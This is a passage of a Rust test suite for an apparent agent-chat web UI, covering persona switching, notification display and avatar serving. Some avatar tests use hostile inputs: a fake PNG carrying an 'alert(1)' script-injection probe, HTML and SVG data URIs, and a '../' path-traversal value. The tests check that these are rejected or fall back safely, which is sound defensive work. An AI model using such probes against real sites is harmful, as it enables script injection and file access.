11211 let id = talk.id.clone();
11212 let call = |n: u8| {
11213 talk_implementers(
11214 State(Arc::clone(&ui)),
11215 Path(id.clone()),
11216 Json(TalkImplementers { implementers: n }),
11217 )
11218 };
11219
11220 for bad in [0u8, 4] {
11221 let e = call(bad).await.expect_err("out of range");
11222 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11223 }
11224 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11225
11226 {
11227 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11230 let busy = call(2).await.expect_err("busy talk");
11231 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11232 assert!(
11233 busy.message.contains("a talk turn is running"),
11234 "{}",
11235 busy.message
11236 );
11237 drop(guard);
11238 }
11239
11240 let Json(view) = call(3).await.expect("switch");
11241 assert_eq!(view.talk.implementers, 3);
11242 assert!(talks.get(&id).expect("reload").implementers_dirty);
11243 assert!(!view.thinking);
11244 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11245 for n in [1, 2, 3] {
11246 let Json(view) = call(n).await.expect("immediate consecutive change");
11247 assert_eq!(view.talk.implementers, n);
11248 assert!(!view.thinking);
11249 assert!(!ui.is_thinking(&id));
11250 }
11251
11252 let mut closed = talks.get(&id).expect("reload");
11253 talk::close(&mut closed, &talks).expect("close");
11254 let e = call(2).await.expect_err("closed talk");
11255 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11256 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11257 }
11258
11259 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11261 let tmp = TempDir::new().expect("tempdir");
11262 let repo = tmp.path().join("repo");
11263 std::fs::create_dir_all(&repo).expect("repo dir");
11264 std::fs::write(
11265 repo.join("magi.toml"),
11266 format!("{MOCK_AGENT_TOML}\n{extra}"),
11267 )
11268 .expect("write magi.toml");
11269 let home = TempDir::new().expect("temp home");
11270 let talks = Talks::at(home.path().join("talks"));
11271 let ui = Arc::new(
11272 Ui::new(
11273 Queue::at(home.path().join("queue")),
11274 Questions::at(home.path().join("questions")),
11275 talks.clone(),
11276 home.path().join("runs"),
11277 home.path().to_path_buf(),
11278 repo.clone(),
11279 )
11280 .with_worktrees_root(home.path().join("wt")),
11281 );
11282 let cfg = config_for(&repo).await.expect("discover config");
11283 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11284 (tmp, home, ui, talk.id, repo)
11285 }
11286
11287 #[tokio::test]
11288 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11289 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11290 let mut conversation = ui.talks.get(&id).unwrap();
11291 talk::record(
11292 &mut conversation,
11293 &ui.talks,
11294 "# Update on a task you filed\noperator words",
11295 vec![],
11296 )
11297 .unwrap();
11298 conversation.turns[0].sender = None;
11300 conversation.turns[0].messages.clear();
11301 ui.talks.put(&mut conversation).unwrap();
11302 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11303 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11304 talk::drain(&mut conversation, &ui.talks).unwrap();
11305 talk::record_reply(
11306 &mut conversation,
11307 &ui.talks,
11308 "about that report",
11309 vec![],
11310 Some(talk::ReplyTarget {
11311 turn: 1,
11312 message: 1,
11313 }),
11314 )
11315 .unwrap();
11316 conversation.turns[2].messages[0]
11317 .reply
11318 .as_mut()
11319 .unwrap()
11320 .sender = None;
11321 conversation.turns.push(talk::Turn {
11322 sender: Some(talk::Sender::Persona),
11323 who: talk::Who::Agent,
11324 body: "magi: actual persona words".into(),
11325 at: Timestamp::now(),
11326 attachments: vec![],
11327 usage: None,
11328 breaks: None,
11329 messages: vec![],
11330 posted_by: None,
11331 });
11332 ui.talks.put(&mut conversation).unwrap();
11333 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11334 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11335 assert_eq!(
11336 view.talk.turns[1].messages[0].sender,
11337 Some(talk::Sender::Operator)
11338 );
11339 assert_eq!(
11340 view.talk.turns[1].messages[1].sender,
11341 Some(talk::Sender::Magi)
11342 );
11343 assert_eq!(
11344 view.talk.turns[2].messages[0]
11345 .reply
11346 .as_ref()
11347 .unwrap()
11348 .sender,
11349 Some(talk::Sender::Magi)
11350 );
11351 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11352 }
11353
11354 #[tokio::test]
11355 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
11356 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11357 let mut conversation = ui.talks.get(&id).unwrap();
11358 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
11359 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11360 talk::queue_notice(
11361 &mut conversation,
11362 &ui.talks,
11363 &body,
11364 "watch:123",
11365 &|_| false,
11366 None,
11367 display.clone(),
11368 )
11369 .unwrap();
11370 assert!(
11371 !talk::queue_notice(
11372 &mut conversation,
11373 &ui.talks,
11374 &body,
11375 "watch:123",
11376 &|_| false,
11377 None,
11378 display.clone()
11379 )
11380 .unwrap()
11381 );
11382 let saved = ui.talks.get(&id).unwrap();
11383 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
11384 let view = TalkView::with_config(saved, false, None, &ui.home);
11385 assert!(
11386 view.talk.turns[0].messages[0].display.is_none(),
11387 "operator copy stays literal"
11388 );
11389 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
11390 talk::drain(&mut conversation, &ui.talks).unwrap();
11391 talk::record_reply(
11392 &mut conversation,
11393 &ui.talks,
11394 "Explain",
11395 vec![],
11396 Some(talk::ReplyTarget {
11397 turn: 1,
11398 message: 0,
11399 }),
11400 )
11401 .unwrap();
11402 let mut saved = ui.talks.get(&id).unwrap();
11403 assert_eq!(saved.turns[1].messages[0].body, body);
11404 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
11405 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
11406 assert!(!reply.excerpt.contains("automatic report"));
11407 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
11410 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11411 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
11412 assert!(
11413 !view.talk.turns[2].messages[0]
11414 .reply
11415 .as_ref()
11416 .unwrap()
11417 .excerpt
11418 .contains("automatic report")
11419 );
11420 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
11421 }
11422
11423 #[tokio::test]
11424 async fn notification_display_recovers_exact_legacy_completion_references() {
11425 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11426 let mut conversation = ui.talks.get(&id).unwrap();
11427 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
11428 id: "task-123",
11429 title: "Change",
11430 status: "done",
11431 reason: None,
11432 run: Some("run-123"),
11433 pr: None,
11434 summary: Some("Merge state unknown"),
11435 });
11436 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11437 conversation.turns[0].sender = None;
11438 conversation.turns[0].messages.clear();
11439 conversation.turns[0].breaks = None;
11440 conversation.pending = body.clone();
11441 conversation
11442 .completion_notices
11443 .push(crate::chat_notify::CompletionReference {
11444 task: "task-123".into(),
11445 run: Some("run-123".into()),
11446 notice: body.clone(),
11447 });
11448 ui.talks.put(&mut conversation).unwrap();
11449 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11450 assert_eq!(
11451 view.talk.turns[0].messages[0].display,
11452 Some(display.clone())
11453 );
11454 assert_eq!(view.talk.pending_messages[0].display, Some(display));
11455 assert_eq!(
11456 view.talk.turns[0].messages[0].sender,
11457 Some(talk::Sender::Magi)
11458 );
11459 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
11460 conversation.completion_notices[0]
11461 .notice
11462 .push_str("different");
11463 let view = TalkView::with_config(conversation, false, None, &ui.home);
11464 assert!(view.talk.turns[0].messages.is_empty());
11465 assert!(view.talk.pending_messages.is_empty());
11466 }
11467
11468 #[tokio::test]
11469 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
11470 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
11471 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11472 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
11473 let _ = magi_icon_put(
11474 State(ui.clone()),
11475 Json(MagiIconUpload { icon: icon.into() }),
11476 )
11477 .await
11478 .unwrap();
11479 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11480 assert_ne!(original, changed);
11481 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11482 let response = magi_avatar(
11483 State(ui.clone()),
11484 Query(AvatarQuery {
11485 persona: None,
11486 builtin: None,
11487 }),
11488 )
11489 .await;
11490 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
11491 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
11492 assert_eq!(
11493 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
11494 "nosniff"
11495 );
11496 for bad in [
11497 "data:image/png;base64,PGh0bWw+".to_owned(),
11498 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
11499 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
11500 ] {
11501 assert!(save_magi_icon(home.path(), &bad).is_err());
11502 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11503 }
11504 let restarted = Arc::new(Ui::new(
11506 Queue::at(home.path().join("queue")),
11507 Questions::at(home.path().join("questions")),
11508 Talks::at(home.path().join("talks")),
11509 home.path().join("runs"),
11510 home.path().to_path_buf(),
11511 repo,
11512 ));
11513 assert_eq!(
11514 magi_icon_get(State(restarted.clone())).await.0["avatar"],
11515 changed
11516 );
11517 let view = TalkView::with_config(
11518 restarted.talks.get(&id).unwrap(),
11519 false,
11520 None,
11521 &restarted.home,
11522 );
11523 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
11524 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
11525 let response = magi_avatar(
11526 State(ui.clone()),
11527 Query(AvatarQuery {
11528 persona: None,
11529 builtin: None,
11530 }),
11531 )
11532 .await;
11533 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
11534 .await
11535 .unwrap();
11536 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
11537 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
11538 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
11539 let _ = magi_icon_delete(State(ui)).await.unwrap();
11540 }
11541
11542 async fn avatar(
11544 ui: &Arc<Ui>,
11545 id: &str,
11546 persona: Option<&str>,
11547 builtin: bool,
11548 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11549 let res = talk_avatar(
11550 State(Arc::clone(ui)),
11551 Path(id.to_owned()),
11552 Query(AvatarQuery {
11553 persona: persona.map(str::to_owned),
11554 builtin: builtin.then(|| "1".to_owned()),
11555 }),
11556 )
11557 .await
11558 .expect("an avatar is never an error response");
11559 let h = res.headers();
11560 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11561 let nosniff = h
11562 .get(header::X_CONTENT_TYPE_OPTIONS)
11563 .is_some_and(|v| v == "nosniff");
11564 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11565 let status = res.status();
11566 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11567 .await
11568 .expect("body")
11569 .to_vec();
11570 (status, ct, nosniff, csp, body)
11571 }
11572
11573 fn tiny_png() -> Vec<u8> {
11574 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11575 b.extend_from_slice(&[0u8; 32]);
11576 b
11577 }
11578
11579 #[tokio::test]
11580 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11581 let res = operator_avatar().await;
11582 assert_eq!(res.status(), StatusCode::OK);
11583 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11584 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11585 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11586 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11587 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11588 .await
11589 .unwrap();
11590 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11591 assert_ne!(
11592 persona_icon::operator_svg(),
11593 persona_icon::builtin_svg("default")
11594 );
11595 }
11596
11597 #[tokio::test]
11598 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11599 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11600 for p in [
11601 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11602 ] {
11603 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11604 assert_eq!(status, StatusCode::OK, "{p}");
11605 assert_eq!(ct, "image/svg+xml", "{p}");
11606 assert!(nosniff && csp, "{p}");
11607 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11608 }
11609 let own = avatar(&ui, &id, None, false).await;
11611 let default = avatar(&ui, &id, Some("default"), false).await;
11612 assert_eq!(own.4, default.4);
11613 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11614 assert_eq!(unknown.1, "image/svg+xml");
11615 }
11616
11617 #[tokio::test]
11618 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11619 let dir = TempDir::new().expect("icons");
11620 let good = dir.path().join("good.png");
11621 std::fs::write(&good, tiny_png()).unwrap();
11622 let spoof = dir.path().join("spoof.png");
11623 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11624 let big = dir.path().join("big.png");
11625 let mut bytes = tiny_png();
11626 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11627 std::fs::write(&big, bytes).unwrap();
11628 let missing = dir.path().join("missing.png");
11629 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11630 let extra = format!(
11631 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11632 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11633 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11634 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11635 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11636 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11637 uri(&good),
11638 uri(&spoof),
11639 uri(&big),
11640 uri(&missing),
11641 );
11642 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11643
11644 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11645 assert_eq!(
11646 (status, ct.as_str(), nosniff),
11647 (StatusCode::OK, "image/png", true)
11648 );
11649 assert_eq!(body, tiny_png());
11650 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11651 assert_eq!(ct, "image/png", "data URI");
11652
11653 for p in ["misato", "asuka", "shinji", "magi"] {
11654 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11655 assert_eq!(
11656 (status, ct.as_str(), csp),
11657 (StatusCode::OK, "image/svg+xml", true),
11658 "{p}"
11659 );
11660 assert!(body.starts_with(b"<svg"), "{p}");
11661 }
11662 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11664 assert_eq!(ct, "image/svg+xml");
11665 }
11666
11667 #[tokio::test]
11668 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11669 let oversized = format!(
11670 "data:image/png;base64,{}",
11671 "A".repeat(persona_icon::ICON_MAX_BYTES)
11672 );
11673 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11674 let extra = format!(
11675 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11676 );
11677 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11678 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11679 .await
11680 .expect("detail with invalid icon");
11681 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11682 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11683 assert_eq!(status, StatusCode::OK);
11684 assert_eq!(ct, "image/svg+xml");
11685 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11686 let Json(view) = talk_persona(
11687 State(Arc::clone(&ui)),
11688 Path(id.clone()),
11689 Json(TalkPersona {
11690 persona: "custom".into(),
11691 }),
11692 )
11693 .await
11694 .expect("persona switch with invalid icon");
11695 assert_eq!(view.talk.persona, "custom");
11696 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11697 }
11698 }
11699
11700 #[tokio::test]
11701 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11702 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11703 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11704 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11705 assert_eq!(
11706 (status, ct.as_str(), nosniff, csp),
11707 (StatusCode::OK, "image/svg+xml", true, true)
11708 );
11709 }
11710
11711 #[tokio::test]
11712 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11713 let (_t, _h, ui, id, _repo) =
11714 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11715 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11716 .await
11717 .expect("detail");
11718 let json = serde_json::to_string(&detail).unwrap();
11719 assert!(
11720 !json.contains("secret"),
11721 "the icon setting must not leak: {json}"
11722 );
11723 assert!(
11724 detail
11725 .view
11726 .persona_avatar
11727 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11728 );
11729 assert_eq!(
11730 detail.view.operator_avatar,
11731 format!(
11732 "/avatars/operator.svg?v={}",
11733 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11734 )
11735 );
11736 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11737 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11738 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11739 assert!(rei.avatar.contains("persona=rei&v="));
11740 assert_ne!(
11741 rei.avatar.split("&v=").nth(1),
11742 plain.avatar.split("&v=").nth(1)
11743 );
11744 }
11745
11746 #[tokio::test]
11747 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11748 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11749 let cfg = config_for(&repo).await.unwrap();
11750 for arrived in [false, true] {
11751 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11752 let observed = ui.queued_generation(&id);
11753 let talk = ui.talks.get(&id).unwrap();
11754 if arrived {
11755 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11756 }
11757 let mut settling = std::pin::pin!(settle_settings_turn(
11758 talk,
11759 ui.talks.clone(),
11760 cfg.clone(),
11761 id.clone(),
11762 turn,
11763 observed
11764 ));
11765 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11766 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11767 assert_eq!(first.is_pending(), arrived);
11768 if arrived {
11769 assert!(!settling.await);
11770 }
11771 assert!(!ui.is_thinking(&id));
11772 }
11773 }
11774
11775 #[tokio::test]
11776 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11777 let tmp = TempDir::new().expect("tempdir");
11778 let repo = tmp.path().join("repo");
11779 std::fs::create_dir_all(&repo).expect("repo dir");
11780 std::fs::write(
11781 repo.join("magi.toml"),
11782 format!(
11783 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11784 ),
11785 )
11786 .expect("write magi.toml");
11787 let home = TempDir::new().expect("temp home");
11788 let talks = Talks::at(home.path().join("talks"));
11789 let ui = Arc::new(
11790 Ui::new(
11791 Queue::at(home.path().join("queue")),
11792 Questions::at(home.path().join("questions")),
11793 talks.clone(),
11794 home.path().join("runs"),
11795 home.path().to_path_buf(),
11796 repo.clone(),
11797 )
11798 .with_worktrees_root(home.path().join("wt")),
11799 );
11800 let cfg = config_for(&repo).await.expect("discover config");
11801 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11802 let id = talk.id.clone();
11803 let call = |persona: &str| {
11804 talk_persona(
11805 State(Arc::clone(&ui)),
11806 Path(id.clone()),
11807 Json(TalkPersona {
11808 persona: persona.to_owned(),
11809 }),
11810 )
11811 };
11812
11813 let unknown = call("nobody").await.expect_err("unknown persona");
11814 assert_eq!(
11815 unknown.status,
11816 StatusCode::BAD_REQUEST,
11817 "{}",
11818 unknown.message
11819 );
11820
11821 {
11822 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11825 let busy = call("rei").await.expect_err("busy talk");
11826 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11827 assert!(
11828 busy.message.contains("a talk turn is running"),
11829 "{}",
11830 busy.message
11831 );
11832 drop(guard);
11833 }
11834 assert_eq!(talks.get(&id).expect("reload").persona, "");
11835
11836 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11837 assert_eq!(view.talk.persona, "gendo");
11838 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11839 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11840 for chosen in ["default", "gendo", "rei", "gendo"] {
11842 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11843 assert!(!view.thinking);
11844 assert!(!ui.is_thinking(&id));
11845 }
11846
11847 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11848 .await
11849 .expect("detail");
11850 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11851 assert_eq!(ids.first(), Some(&"default"));
11852 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11853
11854 let Json(view) = call("default").await.expect("back to default");
11855 assert_eq!(view.talk.persona, "");
11856
11857 let mut closed = talks.get(&id).expect("reload");
11858 talk::close(&mut closed, &talks).expect("close");
11859 let refused = call("rei").await.expect_err("closed talk");
11860 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11861 assert!(
11862 refused.message.contains("takes no more turns"),
11863 "{}",
11864 refused.message
11865 );
11866 }
11867
11868 #[tokio::test]
11869 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11870 let f = Fixture::start().await;
11871 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11872 let queue = f.queue();
11873 let mut mine = Task::new(
11874 "rename the loader".to_owned(),
11875 "rename the loader".to_owned(),
11876 PathBuf::from("/repo/magi"),
11877 Source::Agent {
11878 run: talk_id.clone(),
11879 node: "chat".to_owned(),
11880 },
11881 );
11882 queue.put(&mut mine).expect("file the task");
11883 let mut theirs = Task::new(
11884 "unrelated".to_owned(),
11885 "unrelated".to_owned(),
11886 PathBuf::from("/repo/magi"),
11887 Source::Human,
11888 );
11889 queue.put(&mut theirs).expect("file the task");
11890
11891 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11892 assert_eq!(res.status, 200, "{}", res.body);
11893 let body = res.json();
11894 assert_eq!(
11895 body["status"], "open",
11896 "filing a task does not close a talk"
11897 );
11898 let tasks = body["tasks"].as_array().expect("tasks array");
11899 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11900 assert_eq!(tasks[0]["id"], mine.id);
11901 }
11902
11903 #[tokio::test]
11904 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11905 let (_tmp, _repo, f) = talk_fixture().await;
11906 let id = f.post("/api/talks", None).await.json()["id"]
11907 .as_str()
11908 .expect("id")
11909 .to_owned();
11910
11911 let res = f
11912 .post(
11913 &format!("/api/talks/{id}/say"),
11914 Some(r#"{"text":"what does the queue module do?"}"#),
11915 )
11916 .await;
11917 assert_eq!(res.status, 202, "{}", res.body);
11918 let queued = res.json();
11919 let turns = queued["turns"].as_array().expect("turns array");
11920 assert_eq!(
11921 turns.len(),
11922 1,
11923 "the answer reflects only what is on disk the instant it is sent, \
11924 before the agent's turn - which can run for the whole of \
11925 `[graph] timeout_talk` - has a chance to land: {queued}"
11926 );
11927 assert_eq!(turns[0]["who"], "operator");
11928 assert_eq!(turns[0]["body"], "what does the queue module do?");
11929 assert_eq!(
11930 queued["thinking"], true,
11931 "the accepted response exposes the background turn claim: {queued}"
11932 );
11933
11934 let mut turns_after = 1;
11935 for _ in 0..SETTLE_STEPS {
11936 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11937 turns_after = detail["turns"].as_array().expect("turns array").len();
11938 if turns_after == 2 {
11939 break;
11940 }
11941 tokio::time::sleep(Duration::from_millis(10)).await;
11942 }
11943 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11944 }
11945
11946 #[tokio::test]
11973 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11974 let tmp = TempDir::new().expect("tempdir");
11975 let repo = tmp.path().join("repo");
11976 std::fs::create_dir_all(&repo).expect("repo dir");
11977 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11978 let home = TempDir::new().expect("temp home");
11979 let talks = Talks::at(home.path().join("talks"));
11980 let ui = Arc::new(
11981 Ui::new(
11982 Queue::at(home.path().join("queue")),
11983 Questions::at(home.path().join("questions")),
11984 talks.clone(),
11985 home.path().join("runs"),
11986 home.path().to_path_buf(),
11987 repo.clone(),
11988 )
11989 .with_worktrees_root(home.path().join("wt")),
11990 );
11991 let cfg = config_for(&repo).await.expect("discover config");
11992
11993 for delay in 0..40u32 {
11994 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11995 let id = talk.id.clone();
11996
11997 let handler = tokio::spawn(talk_say(
11998 State(Arc::clone(&ui)),
11999 Path(id.clone()),
12000 Ok(Json(NewTalkTurn {
12001 reply_to: None,
12002 text: "what does the queue module do?".to_owned(),
12003 attachments: Vec::new(),
12004 })),
12005 ));
12006 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12007 handler.abort();
12008 let _ = handler.await;
12011
12012 let mut turns = 0;
12013 for _ in 0..SETTLE_STEPS {
12014 if let Ok(fresh) = talks.get(&id) {
12015 turns = fresh.turns.len();
12016 if turns != 1 {
12017 break;
12018 }
12019 }
12020 tokio::time::sleep(Duration::from_millis(10)).await;
12021 }
12022 assert_ne!(
12023 turns, 1,
12024 "delay {delay}: talk {id} recorded the operator's turn but \
12025 the agent never answered - the reply task was never \
12026 started after the handler future was dropped"
12027 );
12028 }
12029 }
12030
12031 #[tokio::test]
12076 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12077 let tmp = TempDir::new().expect("tempdir");
12078 let repo = tmp.path().join("repo");
12079 std::fs::create_dir_all(&repo).expect("repo dir");
12080 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12081 let home = TempDir::new().expect("temp home");
12082 let talks = Talks::at(home.path().join("talks"));
12083 let ui = Arc::new(
12084 Ui::new(
12085 Queue::at(home.path().join("queue")),
12086 Questions::at(home.path().join("questions")),
12087 talks.clone(),
12088 home.path().join("runs"),
12089 home.path().to_path_buf(),
12090 repo.clone(),
12091 )
12092 .with_worktrees_root(home.path().join("wt")),
12093 );
12094 let cfg = config_for(&repo).await.expect("discover config");
12095
12096 for attempt in 0..3u32 {
12097 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12098 let id = talk.id.clone();
12099 let turn_guard = ui
12102 .begin_talk_turn(&id)
12103 .expect("claim the turn")
12104 .expect("a fresh talk owes nobody a turn");
12105
12106 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12107 let (release_tx, release_rx) = std::sync::mpsc::channel();
12108 ui.set_busy_queue_gate(BusyQueueGate {
12109 reached: reached_tx,
12110 release: release_rx,
12111 });
12112
12113 let handler = tokio::spawn(talk_say(
12114 State(Arc::clone(&ui)),
12115 Path(id.clone()),
12116 Ok(Json(NewTalkTurn {
12117 reply_to: None,
12118 text: "what does the queue module do?".to_owned(),
12119 attachments: Vec::new(),
12120 })),
12121 ));
12122
12123 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12128 .await
12129 .unwrap_or_else(|_| {
12130 panic!(
12131 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12132 )
12133 })
12134 .expect("the busy branch dropped the gate without using it");
12135
12136 let running = talks.get(&id).expect("reload talk");
12143 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12144
12145 handler.abort();
12149 let _ = handler.await;
12150
12151 let _ = release_tx.send(());
12157
12158 let mut fresh = talks.get(&id).expect("reload talk");
12161 for _ in 0..SETTLE_STEPS {
12162 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
12163 break;
12164 }
12165 tokio::time::sleep(Duration::from_millis(10)).await;
12166 fresh = talks.get(&id).expect("reload talk");
12167 }
12168 assert!(
12169 fresh.pending.is_empty() && fresh.turns.len() == 2,
12170 "attempt {attempt}: talk {id} left the operator's text queued \
